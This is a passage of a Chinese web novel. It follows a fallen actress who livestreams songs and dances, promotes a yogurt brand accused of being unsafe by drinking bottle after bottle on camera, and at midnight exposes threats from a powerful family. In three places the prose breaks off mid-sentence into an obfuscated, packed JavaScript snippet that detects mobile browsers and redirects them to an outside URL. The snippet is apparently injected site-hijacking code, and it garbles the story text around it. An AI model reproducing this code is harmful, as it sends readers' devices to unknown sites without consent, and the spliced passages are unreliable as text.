那时《烟雨半生》刚刚播出,收视率好得不像话,投资方挣得盆满钵满,他们几个主演也都一下子出了名,大街小巷都在谈论他们。 刚刚出名的她成了各大综艺节目的宠儿,大家争着抢着让她上节目,增加她曝光度,因为这样自己的节目就能有更多收视。 在众多的节目邀约中,她接受了《快乐冲刺》的邀请,并且答应在节目中跳一支舞。 那时的她刚刚经历过在饭局上被高翔下药的事,身心还没完全恢复,但《快乐冲刺》是国民知名度非常高的节目,她无论如何都要拿出自己最好的表现。 她提前出院,找了舞蹈老师,没日没夜地练了半个月,最终才跳得像那么回事。 那半个月,这首歌的伴奏每天都在单曲循环: 没有什么能够阻挡我的一路向前 满地泥泞是为了跌倒后爬起来走得更远 大雨瓢泼是为了让明天的彩虹更加鲜艳 我相信努力总会兑现 我相信人生终将迎来雨过晴天 没有什么能够阻挡我的一路向前 山路崎岖是为了登顶时俯视渺小群山 黑夜无边是为了黎明时迎来光芒一片 我相信努力总会兑现 我相信人生终将迎来峰回路转 缘分终将遇见 奇迹总会出现 没有什么能够阻挡我的一路向前 4/2拍的旋律节奏感十足,林见微舞姿飒爽,动作利落,每一个节奏点都踩得极为精准。 虽然她只是在一个狭窄的酒店房间里,四周灯光昏暗,没有专业的音响伴奏,但她跳得十分投入,仿佛这里就是她人生的舞台。 没有限制,没有边界,她可以舞出独属于自己的风采。 一首歌播完是四分半钟,她跳完之后气喘吁吁,缓了一会儿才走到镜头前坐下。 运动过后她两颊微微发红,额头渗出一层细汗,虽然开了空调,但她还是觉得身体在不断地冒汗。 弹幕已经爆炸了: [看见没,这才是早鸟福利] [天啊她不是闹着玩的,刚刚那舞蹈水平,直接可以原地出道了好嘛!!] [她跳得比上一次还要好,妈耶] [啊啊啊姐姐杀我,刚刚的舞蹈也太酷炫了叭] [大劈叉不愧是专业的,再来一个!] [我刚来,刚刚发生了什么?她怎么看着气喘吁吁的,是不是催债的又上门了???] [今天直播怎么换背景了,大劈叉你是不是搬家了?] 音乐和舞蹈果然是有魅力的,刚刚的差评都暂时消失了,现在的评论区是清一水的如潮好评。 还有不少人送出了礼物,大部分送的是价值一个香蕉币的小心心或者两个香蕉币的一箭穿心,但还有几个人送出了价值几十个香蕉币的旋转木马和天马行空。 穿皮裤的老烟枪也来了,直接送出了“冰蓝国度”,价值500香蕉币。 紧接着,他又送出了“把全世界都送给你”。 当这个礼物霸气地出现在屏幕上时,整个评论区都沸腾了。 “把全世界都送给你”虽然不是香蕉直播里价值最高的礼物,但是只有用户等级达到50级,通过抽奖才能获得它。 香蕉直播的大部分用户等级都在25-40级,因为再往上升级,难度将呈指数型增长。 等级超过40级的无非是两种人:特别有钱的,给主播砸过巨款,或者元老级骨灰级会员,从平台一开始成立就是活跃用户,而且不间断地给主播刷礼物。 50级的会员,那真是熊猫级的罕见存在。 穿皮裤的老烟枪,啧啧,真不是一般人。 “把全世界都送给你”的动画非常持久,霸气地占据全屏长达10秒钟,闪瞎了众人狗眼。 动画结束的一瞬间,评论区炸锅了,弹幕一个个跳出来,让人眼花缭乱目不暇接: [天呐,刚刚是哪位有钱人送的把全世界送给你??] [皮裤哥,我也想申请当你的全世界] [烟枪大佬,请受小人一拜][抱拳][抱拳][抱拳] [妈呀活久见,刚刚那事真的发生了吗,还是我眼花了!!] [感动,这是老夫混迹香蕉这么久,第一次见这个,膜拜大佬] [大家都冷静点,万一刚刚是大劈叉预设好的,等着诸位韭菜跳进去,疯狂刷礼物??] [对啊,说不定大劈叉和穿皮裤的老烟枪认识,两人联手设局,让我等韭菜前仆后继地跳进去] [虽然但是,就算是个坑我也认了啊!你们没看刚刚那段舞蹈吗,那是能轻易见到的吗??] [是啊,你去看看其他主播,哪一个有这种才能??哪一个舍得花这么大力气讨你开心?] [大劈叉的脸、身材、舞蹈,哪一项都值得把全世界送给她] 林见微对此也非常意外,她想象不到此刻除了谷煜,还有谁愿意单凭四分多钟的舞蹈,就舍得下血本给她刷礼物。 穿皮裤的老烟枪大概率就是谷煜了。这莫名其妙的名字,还真让人很难联想到谷煜那张干净青春的脸。 评论区还在不停滚动,刚刚的余波还在发酵,评论区里除了赞美和惊叹,越来越多的人开始提醒观众小心陷阱,谨慎刷礼物,别被主播割了韭菜。 但即便如此,还是挡不住礼物汹涌地朝她砸来,屏幕上不断滚动着五花八门的礼物,还有各种夸张的动画特效。 与此同时,她的直播间人气飙升,在当晚的人气榜上一下子升到第十名,而且越来越多的人涌进直播间,在线观看的人数达到了三百多。 林见微已经从刚刚的舞蹈中缓了过来,笑着对镜头甜甜说道:“谢谢大家,谢谢穿皮裤的老烟枪。” 她觉得此时此刻是个非常好的插播广告的时机,于是从身旁拿起一瓶早就准备好的舒养酸奶,捧在手心,举到镜头前。 “最近几天托各位家人的福,我接到了一个商务合作,所以接下来我来插播一条广告哦。” “舒养酸奶,属于你的氧气酸奶,如果各位家人们觉得大劈叉是你们的氧气女孩,就请大家多多支持舒养酸奶哦,谢谢,比心心!” “舒养酸奶的奶源来自于内蒙古锡林郭勒大草原的笑口养殖场,奶源珍稀纯正,喝一口满齿醇厚绵香,有原味、草莓、柠檬等多钟口味,总有一款适合您!” “产品的链接我放在左下角啦,大家走过路过不要错过哈!” 她这么一插广告,评论区瞬间换了画风: [啊?原来是为了卖毒酸奶啊,走了走了] [大劈叉你怎么和奸商狼狈为奸啊,新闻都曝光了啊,这酸奶有食品安全问题] [喝了舒氧,下一秒就输氧] [舒养酸奶,让你全家都拉稀的国民好酸奶] [我去,为了挣钱真的是什么都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16475017|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能做得出来啊,我刚刚刷的礼物能退吗] [退钱退钱,白在这里浪费半天感情] 林见微手心有些出汗,她想到了可能会遭到一些抵制,但没想到大家抵制得这么猛烈。 谷煜明明说他做了舆论公关……看来这公关的效果实在是有些惨不忍睹啊。 虽然评论区一瞬间转向,但也有零星的几个评论说: [刚刚那支舞蹈确实跳到我心坎上了,买一瓶捧个场] [真正的猛士,不畏惧有毒的酸奶,买一瓶] [同,买一瓶,兄弟们咱们医院见] [干了这瓶舒氧奶,来世还是一条好汉] 直播间的观看人数开始发生剧烈变动,不少人进进出出,有些人刚进来,看了一下评论,就直接划出去了。 林见微:“大家别着急下结论,舒养酸奶的新闻我都看到了,接到商务的时候也第一时间和商家核实了。” “出问题的只是一批酸奶,之前已经全部紧急召回了,买到问题酸奶的顾客也都获得了十倍赔款。” “酸奶并不是毒酸奶,是有一批产品过期了,不小心流入市面,所以食用了过期酸奶的消费者会感到身体不适。” “问题酸奶已经全部召回销毁了,现在市面上的舒养酸奶都是合格的。” 评论区里依然嘲讽不断: [身体不适?你管进医院抢救叫做身体不适?] [我喝了舒养酸奶,确实感觉不舒服,胃里特别胀] [我也是,喝完舒养酸奶缓了好几天才好,再也不买了] [所以,合着这个直播就是把高翔的事作为噱头,把我们骗进来买毒酸奶是吗] [主播你好黑心] 林见微一条一条看过去,尽力解释着:“喝酸奶后胀气有可能是乳糖不耐哦,不一定是酸奶的问题。” 说着,她扭开瓶盖,喝了一大口酸奶:“你们看,我现在就喝了舒养酸奶,没事的。” 接着她站起身走出镜头,再次回来时取来好几瓶舒养酸奶,各个口味的都有: “家人们,这样好了,我一张嘴也解释不过来,但是我给大家直播喝奶好了。” 说完,她仰头吨吨吨把刚刚打开的那瓶一气干了,然后立刻扭开一瓶草莓味的往嘴里倒。 酸奶本身并不大,只有一百多毫升,再加上林见微忙了一天没顾上吃饭,两瓶酸奶很顺利就下肚了。 她再次抬头看屏幕时,弹幕明显温和了许多。 [以身试毒啊小姑娘,可以] [大·神农·劈叉] [可以可以,这个操作深得我心] [兄弟们,看在她这么卖力的份儿上,要不就拍几瓶?大不了扔了倒了] [别上当,万一她一会儿去厕所催吐呢] [是啊,而且商家给她提供的肯定是正品,不会是过期货] 林见微:“我不会催吐哒,这是我今天第一顿正经饭,舍不得吐出来哈哈。而且我现在是空腹帮大家验毒,理论上会更有效,大家看看半个小时之后我还在不在。” [今天第一顿饭?这都晚上十点多了] [心疼我的主播,今天怎么这么忙] [有什么好心疼的,可能是晚上六点才醒呢] [过半小时再回来,先退了] 林见微这时又扭开一瓶香蕉口味的,刚准备喝,突然想起前面一条评论,脑子里灵光一闪。 “各位,我突然有个很好的想法。现在我就去楼下的几家便利店买舒养酸奶,每个店我都买几瓶,争取买到不同口味的,然后回来给大家喝下去。” “今晚我会至少直播到零点,到时候大家看看我精神状态怎么样。” “大家稍等我20分钟好吗,我快去快回。” 评论区再次井喷: [大劈叉很有诚意啊] [大劈叉为了卖酸奶也是费尽心机啊] [有一说一,她这个方法听上去靠谱] [没有人觉得连着喝酸奶很厉害吗?是我关注点太奇怪了吗] 林见微看了一会儿评论,更新了直播公告,在零点公布高翔事件的最新进展后面加上了一句:主播去买舒养酸奶了,20分钟之后回来。 这下新进来的小伙伴有些丈二和尚摸不着头脑,纷纷询问发生了什么,大劈叉为什么要去买舒养酸奶。 评论区的人解释了一番,新来的小伙伴才哦哦表示明白。 林见微让评论区自说自话了一会儿,然后冲着屏幕摆了摆手说了声再见,然后起身走了出去。 二十分钟后,她果然提着一大兜酸奶回来了。 27.二十七 当林见微把一大袋子酸奶哐啷扔到桌子上时,评论区刷出一排排的“回来得好准时”“厉害厉害”“都买了什么口味的”。 林见微坐下,把从袋子里的酸奶一盒一盒拿出来,在镜头前展示。 “大家看哦,这一盒是原味的,这一盒是蜜瓜口味的,这一盒是柠檬的,都来自楼下的711便利店,这里是我的购买收据。” 说着,她把收据小票展开递到镜头前,镜头清晰地捕捉到了所有——便利店的名称、地址、小票打印时间、购买清单,底部还有扫描二维码获得优惠券的字样。 林见微将小票展示了至少一分钟,足够所有人将细节一一核对:酸奶确实是刚刚买的,数量和口味也都对的上。 还有人干脆扫了二维码,打算薅一下便利店优惠券的羊毛。 一分钟后,林见微收起小票,又从袋子里拿出了三瓶酸奶,这次是草莓、香蕉和原味的,来自全家,同样有收据小票作证。 这之后,林见微又展示了来自另外两家便利店的酸奶和小票,评论区纷纷赞叹: [大劈叉好细心,鼓掌鼓掌] [这推广也太用心了,商家要不要考虑给主播加个鸡腿] [建议所有卖货主播都采用同样的办法,从此网上无假货] [别管这是不是演戏,至少人家付出努力了] [就冲这份精神,咱就买它几瓶酸奶] 林见微每展示一盒酸奶,就把它们摆在自己面前,展示完毕,她面前一字排开整整齐齐排着十二瓶酸奶。 “家人们,我现在真的可以现场摆摊卖酸奶了。”林见微笑说。 评论区一阵同意。 “OK那我就从最左边的开始喝了!”说着,林见微拿起左手边最远处的舒养酸奶,扭开瓶盖,仰头一股脑倒进嘴里。 吨吨吨,五秒钟后,一瓶酸奶就空了。 她确实是渴了,刚刚她在户外三十度的天气,以百米冲刺的速度跑了四家便利店,现在着实是缺水。 再加上一整天没好好吃饭,她整副肠胃都在大声叫嚣着:给我水! 林见微干完一瓶,有些意犹未尽,把空瓶底亮在屏幕前,然后又打开一瓶酸奶,吨吨吨干了下去。 如法炮制地干完五瓶酸奶,她才心满意足地舔了舔瓶盖,轻轻打了个饱嗝。 评论区都震惊了: [牛啊,连干五瓶酸奶] [刚刚好像只过去了不到两分钟吧?] [五瓶酸奶算什么啊,还不够我塞牙缝的] [人家小姑娘能和你抠脚大汉相比吗??人家是小鸟胃,五瓶酸奶挺顶的] [我是女的,我也觉得五瓶不多啊,那一瓶才那么一点,随便一喝就喝完了] [虽然但是,主播为了推广毒酸奶还是很有诚意的,路转粉了] [她刚刚不都说了么,不是毒酸奶,是过期酸奶,过期了而已] [五瓶酸奶就把你们收买了??那我直播喝十瓶,你们也来我这买] [楼上你就算是直播喝尿也没人看] 评论区的弹幕一时有些交杂,林见微为了缓一缓,笑着对着屏幕:“五瓶酸奶确实还OK,不算太多,每一瓶是100毫升多一点,加起来的话是500多毫升,相当于喝了两瓶瓶装牛奶。” [有理有据,给个好评] [你们没发现,大劈叉说话其实蛮有逻辑的,做事也挺缜密的?] [我刚想说!她是我看过的主播里,讲话比较有条理的,做事也大度,有些主播小家子气,不喜欢] 林见微歇了一分多钟,打算再接再厉,旋开第六瓶酸奶,咣咣咣怼进嘴里。 然后她打开了第七瓶、第八瓶、第九瓶…… 喝完第九瓶的时候,她终于感受到胃胀的感觉,于是暗叫一声不好。 饱腹感是有延迟作用的,一般人吃八成饱停下来,过一段时间就会变成九成十成饱,现在林见微自我评价,她有十成饱了。 更令她担忧的是,液体喝多了之后,她有点想去厕所。 林见微把第九瓶酸奶的空瓶底举在屏幕上,挡住了她强颜欢笑的脸。 评论区此时是赞叹多于嘲讽,无论如何,连干九瓶酸奶对于一个一百斤的小姑娘来说,确实挺多的。 她犹豫地拿起第十瓶,但装满各种口味舒养酸奶的胃立刻拒绝:不要再喝了,装不下了!! 与此同时,她的下腹也有一种鼓胀感,里面仿佛在叫:啊啊啊放我出去! 林见微知趣地将第十瓶酸奶慢慢放回桌上,对着屏幕不好意思地说:“家人们,对不起我好像需要缓一缓。” [歇一歇吧,不急在这一会儿] [喝得越多,毒性越多,喝得越快,毒性发作越快] [我数对了吗,她刚刚连喝了九瓶毒酸奶,牛] [楼上你没看桌上剩下一二三四五六六瓶奶吗,已知她刚刚买了十五瓶] [别停啊,继续喝,给大爷喝] [能不能让人小姑娘缓一缓?人家要直播一晚上呢] [话说大家都把眼睛擦亮点啊,监督一下她会不会去卫生间催吐] [楼上你那意思,大劈叉这一晚上都甭想去卫生间了?去卫生间就是去催吐?] 林见微摸了摸胀起来的腹部,苦笑道:“各位朋友,卫生间还是要去的吧,不然场面会很难收拾。” 评论区呈现两极分化,有些评论甚至开始变得有些不堪入目。 令人欣慰的是,刚刚直播喝酸奶确实有效果,不少人在弹幕里表示会从林见微这里购买舒养酸奶,而且后台数据显示,已经有二十多个人下了订单,购买了大概五十瓶酸奶。 林见微在心里迅速算了笔帐:一瓶舒养酸奶标价8元,五十瓶就是400元,平台和公司加起来会拿走40%,剩下240元,她和谷煜五五分。 也就是说,刚刚她收入了120元。 再减去她买十五瓶酸奶花费的120元,她净挣0元。 林见微:……得,白忙活一场。 要想挣钱,她还得继续卖力吆喝。 九瓶酸奶确实很顶,经过一段时间,她现在真的撑得有些难受,又想站起来走一走消化一下,又因为撑得难受有些站不起来。 这时她看到谷煜刚刚发来的一条微信消息:尽力就好,咱们打持久战。 她苦笑着对着屏幕——她确实尽力了,但她都已经这么努力了,还不是几乎赔本赚吆喝吗。 她看了一眼时间,现在是十一点,距离她约定的零点爆料时间还差一小时。 她原本准备了几支舞蹈和几首歌,本想穿插着唱跳直到零点时分,但现在看来,舞是跳不成了,只能唱唱歌。 忍着腹部明显的鼓胀感,她强笑着说:“各位朋友,接下来的时间,我给大家唱首歌吧。” 评论区立刻浮动出一片爱心。 她清了清嗓子,唱了几天前她唱过的那首老歌: 忘了我吧 就当我从未来过这个世界 黄昏的光温暖铺洒在阳台 我看着远处的花儿开了又谢 忘了我吧 就当我已经去了另外一个世界 清晨的风轻轻拂动着面颊 我挥着衣袖告别往日的热烈 低沉绵长的旋律和林见微低而轻的嗓音相得益彰,评论区立刻刷过一阵“好听”。 [不吹不黑,大劈叉的歌舞才艺是真的妙] [她声音挺独特的,甜美中透着一点忧伤] [她好像一个音也没跑调] [肯定悄悄放伴奏了,不然不会唱得这么好] [有一说一,虽然她卖毒酸奶,但人长得是真好看] [我是留下来看晚会的,毒酸奶就不买了] [来都拉了,买几瓶酸奶会破产啊,刚刚大劈叉都以身试毒了,要是她能撑到下播,我就买一车酸奶] [楼上我标记你了@瘦皮猴吼吼,你可别食言] [谁说谎谁是小狗] 一首歌清唱完毕,林见微笑眯眯地看着滚动的弹幕:“那个说要买一车酸奶的,打算用什么车买啊,希望是卡车不是电动车哈。” [听见没,大劈叉点你了@瘦皮猴吼吼] [电动车?笑死我了] [@瘦皮猴吼吼我这里有辆皮卡,今晚借你] [我出钱给你租辆货拉拉] 瘦皮猴吼吼不甘示弱:[怎么还小瞧我呢,我说到做到啊] 林见微趁热打铁:“瘦皮猴大哥,既然聊上了,要不点首歌?” 评论区立刻一阵起哄,大家纷纷出谋划策,看热闹不嫌事大,有人让他点动力火车的歌,有人说可以唱一首叫《恋爱快车》的老歌。 瘦皮猴吼吼被架了上来,左也不是右也不是,一开始还推说让大家点想听的,但众人都拒绝,一定要他点,还有人起哄让他和主播连麦。 最后瘦皮猴硬着头皮,点了首《红日》。 当“红日”两个字出现在评论区时,所有人包括林见微都沉默了。 红日??亏他想的出来说得出口。 林见微的嗓音条件明显适合走温婉轻柔路线,而红日这首歌,激昂高亢,高音高到天上去了,林见微根本不可能驾驭的了。 她的目光有一瞬间的呆滞,评论区里这时也刷起了一连串大笑、感叹号、幸灾乐祸的表情。 [这有点狠呐猴哥] [不愧是猴哥,人狠话不多,两个字绝杀] [熏疼小姐姐一秒钟] [隔空给小姐姐投喂一颗护喉片!] 林见微反复清了清嗓子,在心里叫了无数声WTF,然后竭尽全力摆出一张端庄笑脸:“好,红日就红日。” “刚刚我让瘦皮猴大哥点歌的时候,没有规定范围,是我的锅。” “友情提示,待会儿如发生破音走调等不可抗拒事件,请大家多多保重,自求多福。” 她停顿了一下,看了看弹幕的反应。 有人表示耳塞已准备好,还有的人说已经做好了随时捂上耳朵的准备。 趁这个功夫,她从电脑上找出《红日》的伴奏。这首歌她虽然十分熟悉,但从未演唱过,所以需要把伴奏作为背景音,跑调的时候能往回拉一拉。 准备好伴奏,林见微对着屏幕抿嘴一笑:“大家准备好了吗?” 弹幕纷纷表示已经搬好板凳前排就坐。 激昂高亢的伴奏音乐从电脑中响起,三秒钟后林见微按下暂停键问道:“大家能听到音乐吗?听得到扣1。” 评论区瞬间冒出一列整齐的数字1。 林见微点点头又问:“背景音大吗?如果感觉音量合适,在屏幕上扣1好吗。” 评论区又出现若干数字1,夹杂着一条议论: [大劈叉是想用伴奏带来掩盖自己的破音吧嘿嘿] 林见微也没理会,将电脑上的音频文件的进度条拉回原点,对着屏幕笑道:“好,那我们就正式开始。” 铿锵激昂的熟悉旋律再次从电脑中传来,这首歌最大的特点除了极高的音域,还有一点就是前奏非常短,需要演唱者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林见微稳住阵脚,凭借记忆把整首歌从头到尾唱完,其中有几句没跟上节奏或者因忘词而卡壳,但瑕不掩瑜,完全没影响她的演唱带给人的震撼。 唱完最后一句,她长舒一口气,调整了呼吸才去看弹幕。 评论区自然是膜拜一片,惊叹号满天飞。 其实林见微唱得完全及不上专业水准,如果去掉伴奏把她唱的单拎出来,也就是比普通人稍微好一些的水平。 但不知道为什么,和伴奏带搭在一起,一切都如被施了魔法一样天衣无缝巧妙地搭配起来。 在她唱这两首歌的过程中,又有一些人购买了舒养酸奶,目前销售量七十瓶。 还有观众陆续送出小礼物,零零总总加起来大概能兑出一千多块钱,平台和公司抽成后,大概能剩下六百块左右。 无论如何,总是有收获的,林见微欣慰地想。 两首歌唱完,直播间的累积观看人数已经达到了一千五百人,实时在线活跃的观众有四百多,时间也来到十一点四十五分。 距离零点直播还有十五分钟。 此时此刻,刚刚下肚的九瓶酸奶终于开始发起总攻,林见微渐渐开始坐立不安,一度甚至想抓耳挠腮。 但碍于刚刚那些“去卫生间就是去催吐”的评论,她不知道如果现在离开,会不会前功尽弃。 评论区还在不停地滚动,但林见微发现自己已经无法集中注意力,也无心顾及大家在说什么。 但表面上她还是强颜欢笑,打起十二分精神,不断给自己进行精神催眠:我还能坚持的住,坚持就是胜利。 偏偏这时,弹幕里非有人哪壶不开提哪壶: [大劈叉,你面前那几瓶酸奶还挺显眼的] [主播什么时候喝剩下的酸奶啊] [主播你还好吧,没中毒吧?] [主播今天是搞的抽奖送酸奶的活动吗] 由于身体承受了不该承受的压力,哪怕只是看见“酸奶”这两个字,林见微就有点坐立不安。 苍天啊,谁能来救救孩子。 努力平复呼吸,林见微强忍着对屏幕笑道:“朋友们,快到零点了哦,大家有小礼物的话就扔一扔,帮我们冲冲人气。” 评论区一片唱衰: [知道你想要流量,但没必要当伸手党吧] [主播你吃相别这么难看行吗] [安心唱歌跳舞涨粉不香吗] 林见微有些无奈,但也能理解网友们的不理解不信任。 希望时间将会证明一切,迟到的正义最终能够归位。 很快,时间来到零点。 当手机屏上的时间变成四个0的时候,直播间的累积观看人数已经达到两千人,目前活跃的人数有五百多一点。 评论区也再次炸锅: [叩叩叩,零点了] [搬好小板凳前排就坐] [主播你可别让我失望啊] [都散了吧,我是预言家,今晚雷声大雨点小,主播什么也不会说的] [肯定是噱头,赌五毛] 林见微收起笑意,表情变得异常严肃,在屏幕看不到的地方,她双手放在大腿上,紧张局促地交叉在一起,手心里也渗着一层细汗。 接下来是决定命运的一刻。 28.二十八 直播事业在此一搏。 如果成功,她将扶摇直上,走上人生和事业的巅峰。 如果失败,她将面对的不只是事业的惨败,还将面临高家、麦乐鸡、陈怀顾等一众人的联合绞杀。 她努力地抑制着声音里的微微颤抖,对着镜头开口道:“朋友们,万众期待的一刻终于到来了。” 评论区飘起了一阵:[激动人心的时刻来了][前排就坐][屁股已经放好] “如之前承诺的,我将告诉大家高翔事件的最新进展。” 林见微清了清嗓子,紧张地瞥了眼不断滚动的弹幕。 里面说什么的都有,嘲讽与鼓励齐飞。 陆陆续续又有些观众点进来,他们大多是看到了林见微之前发的直播预告,或者直播一开始就点进来,看到公告后又退出,现在卡着零点重新回来的观众。 望着不断增加的观看人数以及持续刷新的弹幕,林见微仿佛回到了几天前的首映礼,那时她站在台上拿着话筒,台下也是黑压压的一片人。 但那一次,她输得很惨,整个人生都被毁掉了。 她盯着手机屏前的摄像头——摄像头后面只有空当当的白色墙壁,但她开口时,仿佛在对着一礼堂的观众讲话。 “给不太了解情况的朋友们先介绍一下背景。” “几天前我在直播间爆料高翔的大瓜,我说《风华绝代》首映礼进行过程中突然爆出男演员酒后打人袭警的新闻,这是有人在做局,做局的人,姓高名翔。” “现在我重申,我所叙述的内容是真实的,而且时间终将证明一切。” 评论区的底部迅速弹出一条条弹幕,每条弹幕刚发出来,就被新的弹幕推挤到顶端,然后很快消失在屏幕之外。 然而林见微并没有看弹幕一眼,只是沉静地叙述道: “我接下来说的话,很敏感很危险,我不知道说完这些话,这个直播间会不会被瞬间关停,也不知道过了今晚我还能不能再和各位见面。” “但即便如此,我还是要把我知道的都讲出来,因为我相信公道自在人心,我相信正义虽迟但到。” 说着,她低头从手旁拿起一部手机,解开锁屏,点了几下后将手机扬声器举在屏幕前。 她摁下播放键。 一个低沉冷静的男声传了出来,他声线很低,给人一种不寒而栗的威胁感: 你是韦盏吧,我们这边是高源资本,今天白天想和您当面谈谈,下午1点请准时来高源大厦31楼,不见不散。 男人的声音凉凉的,听完后让人后背寒毛倒竖,仿佛有一条冰凉潮湿的蛇爬过。 评论区的弹幕以前所未有的速度刷新着,每一条弹幕在屏幕上停留时间不超过1秒钟,不断更替的弹幕让人目不暇接,眼花缭乱。 但林见微打定主意不看评论,只是希望说完该说的话。 “各位,高家的威胁你们也都听到了。” “语音消息是周日早上发给我的,我没有选择赴约,而是让他们按照我之前说的,周日晚上七点和我相见。” “这之后,他们再也没有给我发过消息。” 她停顿片刻,说出了她最想说的话: “朋友们,今晚之后,高屎的人会疯狂反扑,他们会想尽一切办法洗白自己,往我身上泼脏水。” “他们可能会把我塑造成一个拜金女,为了流量无所不用其极,他们会告我造谣诽谤,将我陷于牢狱之灾。” “我一个人人微言轻,没什么可以和高屎抗衡的,所以大概率会失败,成为互联网的笑柄,你们谈论起我的时候,也会带着鄙夷轻薄之色。” “但我不害怕身败名裂,也不害怕高家的各种威胁,我最害怕的是,这件事真的就被高屎轻易掩盖过去了,没有在大家心里留下一丝痕迹。” “我不知道今晚之后我和各位还能不能有缘再见,也不知道会不会有一天就莫名消失了,但我知道的是,在我还可以发声的时候,我要伸张正义。” “今后无论舆论如何反转,希望大家能记住现在的我,记住我说的话。如果这一切能让大家在今后舆论反扑的时候能有一丝丝对我的怜悯,我就知足了。” “我想说的都说完了。我不知道这个直播间还能存续多久,个把小时?几十分钟?或者只有几分钟,所以接下来的时间,我就给大家表演一下才艺吧,直到这个直播间关停。” 说完这一切,林见微才发现,不知何时自己的眼眶里已经蓄满泪水,声音也变得哽咽喑哑。 她眨了眨眼睛,缓了片刻才看向评论区。 评论区自然爆炸一片,弹幕跳得太快,凭借正常人的反应能力已经无法完整读完一条。 即便如此,林见微还是捕捉到了一些简短的评论: [震惊!不敢相信她刚刚讲的] [有没有预言家跳出来预测一下] [难辨真假,骗流量的可能性很大] [大家都别激动,她可能是骗子] [小姐姐很勇敢啊,支持一下] [主播敢公然和高家资本叫板,勇气可嘉] [硬骨头啊,赞一个,顶上去] [那些支持大劈叉的,你们就等着过两天被啪啪打脸吧] 总体来讲,评论区分为三派,有人表示相信,有人表示将信将疑,还有人表示这完全是自编自导自演的一出戏。 对这个结果,林见微已经很欣慰了,至少有三分之一的人愿意相信她。 如果保持这个形势,等她有一天影响力扩大后,会有更多的人,千百万的人,愿意相信她,跟她一起讨伐高翔。 她对着镜头说:“现在我们来兑现刚刚说的,大家有什么想听的歌吗,随便点,我随缘唱。” 评论区里仍然在激烈地讨论着高翔的事,零星夹杂几个认真点歌的。 有些比较中规中矩,比如周杰伦的,王菲的,有些就比较狂野,比如萧敬腾,信乐队。 还有的点韩文歌英文歌。 弹幕跳得太快,林见微只能从几个迅速捕捉到的歌曲里随便挑一首。 “《稻香》怎么样?刚刚有朋友说想听这首,我唱给大家听。” 评论区一片同意,林见微直接清唱起来。 熟悉的旋律和歌词唤起无数回忆,配上林见微偏沉的嗓音,轻松欢快的歌曲加上了复古暖色滤镜。 众人沉醉在绵柔醇厚的演唱里,评论区里飘过一片:[好听好听][再来亿首][我刚刚也点歌了,下一首唱我的!] 一首《稻香》在弹幕区的掌声中完美结束。 弹幕里跳出了无数歌名,有的人甚至一连点了好几首。 林见微尽最大努力跟上弹幕的速度,把点到的歌一一念出来。 她选了几首和《稻香》风格类似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486310|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的歌曲,每一首都用了自己全部的深情,一一奉上。 评论区完全扭负为正,清一色地夸她唱得好听,天籁之声。 不知不觉半个多小时过去了,直播间还奇迹般地存在着。 [话说直播间还没有被封诶] [赚到了,说不定房管睡着了,没顾上管这里] [希望直播间能活过今天] [不希望大劈叉消失嘤嘤嘤,大家有没有人脉把大劈叉留下来] [希望明天还能看到大劈叉唱歌跳舞] 对于这个结果,林见微也非常意外,她以为直播间会在她爆出那段录音后立刻被封杀。 没想到支撑了这么久。 唱了四五十分钟她着实有些累,再加上之前的酸奶已经完全消化,她有一种又饿又渴又想去厕所的奇异感觉。 但她还是决定敬业到底,唱歌休息时她再次为舒养酸奶打起广告: “家人们咱们休息一下哈,如果咱们直播间凌晨一点的时候还活着,我接着唱歌。” “如果大家愿意支持我信任我,可不可以点击右下角的链接,购买一瓶舒养酸奶?” “舒养酸奶,属于你的氧气酸奶,草莓、香草、蜜瓜、香蕉,总有一款口味适合你!比心!” 评论区再次跳出“卖毒酸奶去死”的评论,但这一次,更多的人选择支持她。 [其实最新的报道已经说的很明白了,出问题的就是过期酸奶,不是毒酸奶] [笑口集团已经假一赔十了,挺有诚意的] [我和我室友今天下午刚喝过舒养酸奶,目前都没事] [+1,我昨天喝了,今天活蹦乱跳的] [楼上,请问你们是大劈叉请来的托儿吗] [有没有小助手可以踢一下人机啊谢谢,或者把那些托儿禁言] 林见微不遗余力地做着广告,为表诚意又干了两瓶酸奶:“跟大家汇报一下哦,主播两个小时前已经喝了几瓶舒养酸奶,来自不同便利店不同口味的。” “我现在依然健在,一切正常,没出现肚子疼拉稀的问题。” “我是空腹喝的,所以如果酸奶质量有问题,早就已经起作用了,但主播还可以坐在这里为大家唱歌,说明我们的酸奶是安全的。” “所以希望大家不要再说舒养酸奶是毒酸奶了,下个单支持一下。” 事实证明,身体力行的宣称是十分有效的,在过去的十五分钟内,陆陆续续有几十个人下了单,平均每一单买了2-3瓶酸奶。 穿皮裤的老烟枪以一己之力买了30瓶,瘦皮猴吼吼吼买了20瓶。 粗略算下来,她净挣了二百多。 再加上之前的下单量和观众送的礼物,目前她大概挣了将近五百块钱。 